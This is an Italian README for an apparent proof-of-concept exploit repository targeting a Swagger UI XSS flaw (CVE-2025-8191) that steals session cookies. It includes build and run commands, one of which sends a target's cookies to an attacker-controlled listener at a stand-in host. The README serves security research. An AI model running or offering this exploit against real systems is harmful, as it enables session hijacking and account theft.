bytereaper77/cve-2025-8191Un repository contenente un exploit PoC per CVE‑2025‑8191 in Swagger UI, che sfrutta l'iniezione XSS per esfiltrare i cookie di sessione.
Questo repository contiene un exploit Proof‑of‑Concept (PoC) per CVE‑2025‑8191, una vulnerabilità trovata in Swagger UI.
La vulnerabilità permette un'iniezione Cross‑Site Scripting (XSS) nel campo "description", portando all'esecuzione remota di script nelle versioni di Swagger UI ≤ 1.0.3.
gcc exploit.c argparse.c -o exploit -lcurl
./exploit -u http://target.com -s http://yourserver.com -v
Sostituisci http://target.com con l'URL target di Swagger UI e http://yourserver.com con il tuo listener HTTP per l'esfiltrazione.
Questo codice è esclusivamente per scopi educativi e di ricerca sulla sicurezza. NON utilizzarlo su sistemi per cui non hai esplicita autorizzazione. L'autore non è responsabile per qualsiasi uso improprio.
MIT License